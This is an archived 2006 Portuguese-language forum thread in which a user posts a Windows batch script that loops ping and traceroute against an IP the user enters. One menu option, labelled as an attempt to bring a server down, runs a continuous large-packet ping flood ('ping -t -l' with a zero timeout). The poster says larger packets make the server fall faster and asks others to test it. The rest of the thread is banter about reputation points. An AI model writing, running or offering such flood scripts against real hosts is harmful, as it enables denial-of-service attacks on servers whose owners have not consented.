PDA

Ver Versão Completa : Automatizando ping/traceroute



onymush4
14/01/2006, 06:09
Automatizando ping/traceroute e ainda com fingerprinting disponivel apenas pra unix har har


[Only registered and activated users can see links]

whiteknight
25/01/2006, 04:21
Abre o bloco de notas cole o codigo e mude a extencao para .bat so funciona com WinXP(eu acho)
Eu que fiz esse codigo agora à 4:20 e irei uploadar ele para meu site mais tarde pois irei durmir(nao uploadarei o codigo...e caso eu poste la eu irei usar uma tecnica antiroubo de codigo que eu gerei! ^^ eu até ja fiz interpretador de batch! eheheh vc digitava o diretório onde estava o codigo "especial" e ele executava...vc podia ate fazer seu proprio algoritimo e mandar o interpretador carregar! ^^ heheeheh...eu apaguei...mais tarde faço outro! ^^)

mais ai segue o codigo:
ele esta 100% funcional no meu WinXP e com TUDO funcionando! até as msg de erro! heeheheh! ^^


@echo off
set error=0
:menu
cls
if NOT %error%==0 if %error%==1 echo Voce escolheu uma opcao invalida! Escolha outra!
if NOT %error%==0 if %error%==2 echo Voce pos um IP invalido! Digite outro!
set option=""
set ip=""
set packnum=""
echo.
echo Feito Por WhiteKnight
echo.
echo.
echo Digite:
echo 1 para fazer um traceroute automatico
echo 2 para fazer um ping automatico
echo 3 para TENTAR repito TENTAR derrubar um server
echo 4 para um ping "mais automatico" e infinito...
echo (digite APENAS o NUMERO que voce quer...ex.:)
echo 2
echo.
echo Digite o numero agora:
set /p option=
if %option%==1 goto getip
if %option%==2 goto getip
if %option%==3 goto getip
if %option%==4 goto getip
if %option%==quit exit
set error=1
goto menu

:getip
cls
echo Digite o ip JA formatado...
echo ex.:
echo 198.197.196.195
echo lembrando APENAS o IP(ou URL do site)
echo.
echo Digite o IP
set /p ip=
if %option%==1 goto autoping
if %option%==2 goto autotrace
if %option%==3 goto serverconfig
if %option%==4 goto autoping2
set error=2
goto menu

:serverconfig
cls
echo Digite o tamanho dos pacotes que deseja enviar...
echo quanto maior mais rapido o server caira
echo mas cuidado pois alguns servers nao respondem a pacotes muito grande
echo exemplo o google so aceita ateh 100 eu acho...
echo.
echo digite o tamanho...SO o numero...
set /p packnum=
if %packnum%=="" packnum=100
goto serverclose

:autoping
cls
color 4F
:pingloop
echo Ao deixar isso rodando o seu pc pode e provavelmente irar travar!
echo para sair aperte ctrl + C
ping %ip%
goto pingloop

:autotrace
cls
color 4F
:traceloop
echo Ao deixar isso rodando o seu pc pode e provavelmente irar travar!
echo para sair aperte ctrl + C
tracert %ip%
goto traceloop

:autoping2
cls color 4F
:pingloop2
echo Ao deixar isso rodando o seu pc pode e provavelmente irar travar!
echo para sair aperte ctrl + C
ping -t %ip%
goto pingloop2

:serverclose
cls
color 4F
:serverclose2
echo Ao deixar isso rodando o seu pc pode e provavelmente irar travar!
echo para sair aperte ctrl + C
ping -t -l %packnum% -w 0 %ip%
goto serverclose2

exit


---
Acho que mereco um ponto d rep pelo codigo! =P :p

Dr Sinister
25/01/2006, 11:43
Acho que mereco um ponto d rep pelo codigo! =P

Até poderia. mas isso é pessoal vária de pessoa pra pessoa!

Outra coisa, não fica mendingando pontos! :wink:

whiteknight
25/01/2006, 03:40
Outra coisa, não fica mendingando pontos! :wink:


=D =P
ok... heheeh...
mas testaram o codigo?